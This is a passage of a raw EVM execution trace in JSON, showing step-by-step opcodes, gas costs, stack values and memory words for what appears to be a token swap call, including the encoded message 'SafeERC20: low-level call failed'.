0000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3061,"op":"DUP1","gas":79512,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3062,"op":"PUSH1","gas":79509,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3064,"op":"MUL","gas":79506,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x2","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3065,"op":"PUSH1","gas":79501,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3067,"op":"ADD","gas":79498,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3068,"op":"PUSH1","gas":79495,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3070,"op":"MLOAD","gas":79492,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x60","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3071,"op":"SWAP1","gas":79489,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x60","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3072,"op":"DUP2","gas":79486,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3073,"op":"ADD","gas":79483,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324","0x60","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3074,"op":"PUSH1","gas":79480,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3076,"op":"MSTORE","gas":79477,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324","0x384","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3077,"op":"DUP1","gas":79474,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3078,"op":"SWAP4","gas":79471,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0xc4","0x2","0x2","0x324","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3079,"op":"SWAP3","gas":79468,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x2","0x2","0x324","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3080,"op":"SWAP2","gas":79465,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x324","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","000